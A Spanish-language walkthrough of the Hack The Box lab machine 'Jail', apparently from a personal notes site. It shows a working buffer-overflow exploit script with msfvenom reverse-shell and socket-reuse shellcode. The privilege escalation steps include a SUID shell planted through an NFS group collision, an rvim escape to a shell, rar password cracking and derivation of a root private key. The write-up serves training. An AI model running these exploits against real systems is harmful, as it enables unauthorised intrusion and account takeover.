Volver atras HTB_Jail | Savinotes

HTB_Jail

Jail {-}

Introduccion {-}

La maquina del dia se llama Jail.

El replay del live se puede ver aqui

S4vitaar Jail maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.34

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.34

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.34 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,80 10.10.10.34 -oN targeted
PuertoServicioQue se nos occure?Que falta?
22tcpConneccion directacreds
80httpWeb, Fuzzing
111rpcbind
2049nfs
7411daqstream
20048mountd

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.34

Es un Apache 2.4.6 en un CentOS.

Checkear la web {-}

Si entramos en la url

 http://10.10.10.34 

, Vemos la Apache2 default page.

Checkeando la cavezera con curl {-}

curl -s -X GET "http://10.10.10.34"
curl -s -X GET "http://10.10.10.34" -I

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.34/FUZZ

Vemos un directorio

 /jailuser 

que lista un directorio

 dev 

que contiene ficheros. Nos descargamos estos ficheros.

Analysando el puerto 7411 {-}

nc 10.10.10.34 7411

Nos pone send user command pero no llegamos a ver nada por el momento.

Analyzando el NFS {-}

Buscando por internet que es el NFS y de que manera podriamos scanear este servicio, vemos que funcciona como recursos compartidos a nivel de red que podriamos scanear con la utilidad

 showmount 

y que podriamos montar en nuestro equipo.

showmount -e 10.10.10.34

Analysis de los ficheros descargados {-}

Hemos descargado 3 ficheros:

El fichero

 compile.sh 

nos muestra de que manera compila el fichero jail.c para crear un binario jail de 32 bits y como lanza el servicio.

Miramos que typo de fichero y de seguridad lleva el fichero jail con:

chmod +x jail
file jail
checksec jail

Aqui vemos que este fichero es de 32 bits y vemos que no tiene ninguna proteccion como DEP o PIE.

Mirando el codigo del fichero

 jail.c 

vemos un print que nos dice send user command y que usa funcciones como

 strcmp() 

que ya sabemos que son vulnerables.

Ahora que vemos por donde van los tiros y que esta maquina tocara un BOF, analyzamos las vulnerabilidades.

Vulnerability Assessment {-}

Buffer Overflow {-}

El codigo nos muestra que compara una String con un username

 admin 

y una contraseña

 1974jailbreak! 

. Vemos que hay una posibilidad de lanzar el binario en modo Debug.

Vemos que una de estas comparativas va con una variable

 userpass 

que solo tiene un Buffer de 16 Bytes y que si lanzamos el binario en modo debug, nos printa la direccion memoria de esta variable.

Tambien vemos que el binario abre el puerto 7411 y lo comprobamos con

 lsof 
lsof -i:7411
./jail
lsof -i:7411

Analyzando vulnerabilidades con gdb {-}

Lanzamos el binario con gdb

gdb ./jail
r

Y nos connectamos por el puerto 7411

nc localhost 7411

Vemos que el gdb a creado un processo hijo de modo Detach que no seria la buena forma para tratar. Lo comprobamos colapsando el programa poniendo mas de 16 A en el password

OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Aqui no vemos nada en el gdb. En estos casos tenemos que configurar una cosa para ver el flujo del processo hijo.

gdb ./jail
set detach-on-fork off
set follow-fork-mode child
r

Aqui ya estamos syncronizados con el processo hijo.

nc localhost 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Intentamos el modo debug

nc localhost 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.

USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Debug: userpass buffer @ 0xffffd140

Vemos la direccion de la variable userpass y si repetimos la movida multiples vecez, vemos que la direccion no cambia. Ademas, ya vemos que sobre escribimos registros con A y desde aqui seguimos la guia de un BOF

  1. Buscamos Ganar el control del eip

    • creamos un pattern de 150 caracteres

      gef➤ pattern create 150
      [+] Generating a pattern of 150 bytes (n=4)
      aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
      [+] Saved as '$_gef0'
    • lanzamos el script otra vez y pegamos los caracteres

      nc localhost 7411
      OK Ready. Send USER command.
      USER admin
      OK Send PASS command.
      PASS aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
    • el programa peta una vez mas pero el valor del

 $eip 

a cambiado. Miramos el offset con el commando

    ```bash
    gef➤  pattern offset $eip
    [+] Searching for '$eip'
    [+] Found at offset 28 (little-endian search) likely
    ``` 

    Aqui vemos que tenemos que entrar 28 caracteres antes de sobre escribir el **eip**.

- Probamos con 28 A y 4 B.

    ```bash
    python -c '28*"A"+4*"B"'
    AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

    nc localhost 7411
    OK Ready. Send USER command.
    USER admin
    OK Send PASS command.
    PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
    ```

- añadimos 4 C para saber donde caen la cosas despues del **eip**

    ```bash
    python -c '28*"A"+4*"B"+8*"C"'
    AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCC

    nc localhost 7411
    OK Ready. Send USER command.
    USER admin
    OK Send PASS command.
    PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCC
    ```
  1. Miramos lo que hay en la direccion de la variable userpass

    • lo miramos en forma normal

      gef➤  x/s 0xffffd140
      #Output
      0xffffd140: 'A' <repeats 28 times>, "BBBBCCCCCCCC"
    • lo miramos en forma hexadecimal

      gef➤  x/16wx 0xffffd140
      #Output
      0xffffd140  0x41414141  0x41414141  0x41414141  0x41414141
      0xffffd150  0x41414141  0x41414141  0x41414141  0x42424242
      0xffffd160  0x43434343  0x43434343  0x00000100  0xf7ff4070
      0xffffd170  0x00000001  0xf7ffd590  0x00000000  0x414112db

Aqui vemos que la direccion

 0xffffd140 

apunta al principio del Buffer (la entrada del usuario). Esto significa que si el eip apunta a la direccion

 0xfffd140 

sumada por 32 bytes (que serian las 28 A mas los 4 bytes del eip), podriamos ejecutar el shellcode que queremos.

Jail-Buffer-shellcode-os Para esto nos creamos un script en python

#!/usr/bin/python3

from pwn import *

context(os='linux', arch='i386')

p = remote("127.0.0.1", 7411)
# p = remote("10.10.10.34", 7411)


buf = b"\xdb\xc8\xd9\x74\x24\xf4\x5e\xbb\xc5\x90\x9f\x66\x33"
buf += b"\xc9\xb1\x12\x83\xee\xfc\x31\x5e\x13\x03\x9b\x83\x7d"
buf += b"\x93\x12\x7f\x76\xbf\x07\x3c\x2a\x2a\xa5\x4b\x2d\x1a"
buf += b"\xcf\x86\x2e\xc8\x56\xa9\x10\x22\xe8\x80\x17\x45\x80"
buf += b"\x18\xe2\xbb\x58\x75\xf0\xc3\x59\x3e\x7d\x22\xe9\x26"
buf += b"\x2e\xf4\x5a\x14\xcd\x7f\xbd\x97\x52\x2d\x55\x46\x7c"
buf += b"\xa1\xcd\xfe\xad\x6a\x6f\x96\x38\x97\x3d\x3b\xb2\xb9"
buf += b"\x71\xb0\x09\xb9"

before_eip = ("A" * 28).encode()
EIP = p32(0xffffd140+32)
after_eip = buf

p.recvuntil("OK Ready. Send USER command.")
p.sendline("USER admin")
p.recvuntil("OK Send PASS command.")
p.sendline("PASS ".encode() + before_eip + EIP + after_eip)

[ ! ] NOTAS: el shellcode a sido creado con el comando

 msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -b "\x00\x0a" -f python 

. Los badchars aqui son los que ponemos siempre.

Ahora testeamos el script

  1. Lanzamos el jail

    ./jail
  2. Nos ponemos en escucha por el puerto 443

    nc -nlvp 443
  3. Lanzamos el script en python

    python3 exploit.py

En este caso no funcciona y tito nos adelanta que el problema viene que de vez en cuando, el espacio del shellcode sobrepasa el limite de caracteres que podemos injectar, o mejor dicho es demasiado grande. Esta limitacion puede ser bypasseada por una tecnica llamada reuse addr explicada en la web de rastating. La tecnica consiste en utilizar methodos send o recv del socket de coneccion para ganar espacio para el shellcode.

Si buscamos por shellcode re-use en exploit-db, podemos encontrar shellcode que crearian un

 /bin/bash 

Modificamos el shellcode del exploit.py y ganamos accesso a la maquina victima

Vuln exploit & Gaining Access {-}

Ganando accesso con el bufferoverflow {-}

  1. Lanzamos el debug mode para recuperar la direccion del buffer

    nc 10.10.10.34 7411
    OK Ready. Send USER command.
    DEBUG
    OK DEBUG mode on.
    USER admin
    OK Send PASS command.
    PASS admin
    Debug: userpass buffer @ 0xffffd140
  2. Modificamos el script en python

    #!/usr/bin/python3
    
    from pwn import *
    
    context(os='linux', arch='i386')
    
    # p = remote("127.0.0.1", 7411)
    p = remote("10.10.10.34", 7411)
    
    buf = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
    buf += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
    buf += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
    buf += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    buf += b"\x89\xe3\x31\xc9\xcd\x80"
    
    
    before_eip = ("A" * 28).encode()
    EIP = p32(0xffffd140+32)
    after_eip = buf
    
    p.recvuntil("OK Ready. Send USER command.")
    p.sendline("USER admin")
    p.recvuntil("OK Send PASS command.")
    p.sendline("PASS ".encode() + before_eip + EIP + after_eip)
    
    p.interactive()
  3. Lanzamos el script en python

    python3 exploit.py

Ya hemos ganado acceso al systema como el usuario nobody pero no podemos leer la flag y nos tenemos que convertir en el usuario frank.

User pivoting {-}

id
sudo -l

Vemos que podemos lanzar el script

 /opt/logreader/logreader.sh 

como el usuario frank sin proporcionar contraseña.

cat /opt/logreader/logreader.sh
sudo -u frank /opt/logreader/logreader.sh
which strace
which ltrace
which checkproc

Vemos que podemos lanzar el script pero no sabemos exactamente lo que hace y no lo podemos debuggear.

Miramos a los recursos compartidos nfs de la maquina

cat /etc/exports

Nos creamos dos monturas en nuestra maquina de atacante

mkdir /mnt/{opt,var}
cd /mnt
mount -t nfs 10.10.10.34:/opt /mnt/opt
mount -t nfs 10.10.10.34:/var/nfsshare /mnt/var
ls -l
ls -l opt/
ls -l opt/logreader
ls -l opt/rh
ls -l var/

Aqui vemos que no tenemos derechos de lectura ni de escritura sobre el directorio opt y var pero algo que nos llama la atencion son los user y groups asignados a estos directorios, sobre todo el directorio var que se nos aparece como estando del grupo docker.

    knitr::include_graphics("images/Jail-lla.png")
hay una colision entre los dos grupos y que como usuario del grupo docker en nuestra maquina de atacante, podemos crear ficheros como el usuario franck de la
![Jail-lla](/assets/images/Jail-lla.png) 
maquina victima

> [ ! ] NOTAS: Si no existe docker en nuestra maquina de atacante, tendriamos que ver el numero 1000 y tendriamos que crear un grupo con este id para operar

1. Creamos un fichero en C en el directorio 
```bash
 /mnt/var 
```bash
#include <unistd.h>
#include <stdio.h>

int main(){
    setreuid(1000, 1000);
    system("/bin/bash");
    return 0;
}
```
  1. Compilamos el script

    gcc shell.c -o shell
  2. Cambiamos el grupo y ponemos derechos SUID al binario

    chgrp 1000 shell
    chmod u+s shell
  3. lanzamos el script desde la maquina victima

    ./shell
    whoami
    #Output
    frank

Ya podemos leer la flag.

[ ! ] NOTAS: como la reverse shell no es la mejor del mundo, aqui nos podriamos crear una id_rsa y copiarla en el authorized_keys del usuario Frank para conectarnos por ssh y obtener una mejor shell.## Privilege Escalation {-}

Rootear la maquina {-}

id
sudo -l

Aqui vemos que podriamos ejecutar el

 /usr/bin/rvim 

del fichero

 /var/www/html/jailuser/dev/jail.c 

como el usuario adm sin proporcionar contraseña.

sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

:!/bin/sh
#Output 
No se permite orden de consola en rvim

:set shell = /bin/bash
:shell

Aqui vemos que no podemos ejecutar comandos pero lo bueno es que rvim permite ejecutar codigo en python

:py import pty;pty.spawn("/bin/bash")
whoami 
#Output
adm

Aqui vemos que estamos en el directorio

 /var/adm 
ls -la
cd .keys
ls -la
cat note.txt

Vemos un mensaje del Administrator a frank diciendole que su contraseña para encryptar cosas tiene que ser sur segundo nombre seguido de 4 digitos y un simbolo.

cd .local
ls -la
cat .frank
#Output
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

Lanzamos la web de quipqiup y copiamos el mensaje y nos lo traduce por Hahaha! Nobody will guess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!

Tambien hay un

 keys.rar 

.

Lo codificamos en base64 y nos lo tranferimos a nuestra maquina de atacante.

base64 -w 0 keys.rar; echo

y desde la maquina de atacante no copiamos el base64 y lo decodificamos

echo "hash de base64" | base64 -d > keys.rar
unrar x keys.rar

Aqui nos pide una contraseña para unrarear el

 keys.rar 

y buscando por internet Alcatraz Escape vemos que un Frank Morris se escapo de Alcatraz en 1962. Vamos a tirar de la utilidad de crunch para crackear la contraseña.

crunch 11 11 -t Morris1962^ > passwords
rar2john keys.rar > hash
john --wordlist=passwords hash

Encontramos la contraseña

 Morris1962! 
unrar x keys.rar
Password: Morris1962!
mv rootauthorizedsshkey.pub id_rsa.pub
cat id_rsa.pub

aqui vemos la key publica del usuario root, pero no podemos hacer gran cosa con la key publica. Como no parece muy grande, intentamos ver si podemos computar la llave privada des esta key.

python3

from Crypto.PublicKey import RSA
f = open ("id_rsa.pub", "r")
key = RSA.importKey(f.read())
print(key.n)
print(key.p)
print(key.q)
print(key.e)

Aqui como

 key.n 

es demasiado grande, no a sido posible computar

 key.p 

o

 key.q 

que nos ubiera permitido intentar generar una private key.

Miramos si podemos hacerlo desde factordb pero es lo mismo. Pero existen webs para los ctf como RsaCtfTool que podemos usar.

git clone https://github.com/Ganapati/RsaCtfTool
cd RsaCtfTool
python3 RsaCtfTool.py --publickey id_rsa.pub --private

Esperamos un poco y podemos ver la id_rsa. Lo copiamos en un ficher id_rsa y nos conectamos por ssh.

nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.10.34

Ya somos root y podemos leer la flag.